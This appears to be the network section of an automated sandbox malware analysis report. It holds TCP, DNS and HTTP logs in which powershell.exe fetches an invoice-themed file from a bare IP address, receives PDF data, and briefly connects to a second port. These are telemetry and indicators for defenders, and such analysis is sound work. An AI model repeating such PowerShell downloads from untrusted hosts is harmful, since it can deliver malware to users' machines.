Jan 11, 2025 05:35:51.979677916 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979688883 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979695082 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979700089 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979712963 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979721069 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979763031 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.980632067 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.006999016 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008169889 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008212090 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008223057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008235931 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008260012 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008269072 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008347988 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008371115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008371115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008372068 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008385897 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008389950 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008397102 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008433104 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008435011 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008446932 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008469105 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008481026 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008491993 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008492947 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008517027 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008584023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008595943 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008611917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.008625984 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.008690119 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.009354115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038134098 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038161993 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038175106 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038186073 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038209915 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038220882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038233042 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038254976 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038266897 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038279057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038290024 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038302898 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038352013 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038352013 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038352013 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038352013 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038397074 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038408041 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038420916 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.038428068 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.038451910 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.079824924 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.084917068 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.084947109 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.084956884 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.084979057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.084991932 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085002899 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085006952 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085016966 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085040092 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085048914 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085053921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085063934 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085077047 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085087061 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085089922 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085112095 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085122108 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085124016 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085131884 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085143089 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085155010 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085177898 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085177898 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085190058 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085201025 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085207939 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085228920 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085233927 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085247040 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085257053 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085258007 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085269928 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085277081 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085283041 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085295916 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085305929 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085308075 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085330009 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085331917 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085341930 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085366964 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085369110 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085381031 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085402012 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085403919 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085417032 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085433960 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085452080 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085455894 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085468054 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085479021 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085481882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085494995 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085506916 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085508108 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085517883 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085529089 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085540056 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085540056 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085551977 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085552931 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085566998 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085585117 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085589886 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085612059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085623980 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085628986 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085633993 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085647106 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085659027 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085660934 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085671902 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085683107 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085695982 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085701942 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085711956 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085726023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085733891 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085737944 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085748911 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085753918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085789919 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085807085 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085820913 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085843086 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085846901 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085855961 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085872889 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085884094 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085886002 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085897923 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085910082 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085920095 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085923910 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085937023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085948944 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085949898 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085963011 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085971117 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085975885 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.085988998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.085994959 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086015940 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086019993 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086030006 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086041927 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086056948 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086064100 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086091995 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086265087 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086277008 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086287022 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086298943 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086308956 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086312056 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086323023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086333036 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086334944 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086345911 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086358070 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086359978 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086369038 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086375952 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086380959 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086391926 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086395979 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086405039 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086416960 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.086421967 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.086451054 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.089911938 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107074976 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107101917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107136011 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107150078 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107152939 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107162952 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107187986 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107234001 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107254982 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107266903 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107278109 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107290983 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107336998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107336998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107336998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107336998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107336998 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107372999 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107384920 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107395887 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107409954 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107420921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107433081 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.107443094 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107470989 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.107491016 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.128716946 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128730059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128741980 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128798008 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128809929 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128823042 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128834963 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128880024 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.128880024 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.128940105 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128968000 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128973961 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.128973961 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.128982067 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.128993034 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.129008055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.129018068 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.129024982 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.129030943 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.129041910 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.129057884 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.129096985 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175124884 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175141096 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175164938 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175193071 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175209045 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175209999 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175236940 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175250053 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175257921 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175262928 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175271988 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175295115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175298929 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175311089 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175321102 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175329924 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175339937 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175340891 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175354004 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175365925 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175367117 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175384045 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175436974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175457001 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175468922 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175477028 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175489902 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175496101 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175497055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175508976 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:52.175512075 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175543070 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.175568104 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:52.995964050 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:53.444123983 CET	49730	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:53.448949099 CET	8888	49730	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:53.449057102 CET	49730	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:53.449224949 CET	49730	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:53.454060078 CET	8888	49730	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:54.227960110 CET	8888	49730	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:54.282955885 CET	49730	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:54.899118900 CET	49730	8888	192.168.2.11	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:36:01.906752110 CET	54862	53	192.168.2.11	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:36:01.906752110 CET	192.168.2.11	1.1.1.1	0x33f0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:36:01.914072990 CET	1.1.1.1	192.168.2.11	0x33f0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:36:02.600784063 CET	1.1.1.1	192.168.2.11	0xf619	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:36:02.600784063 CET	1.1.1.1	192.168.2.11	0xf619	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49713	193.143.1.205	80	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:35:50.616745949 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:35:51.402554035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:35:51.402585983 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
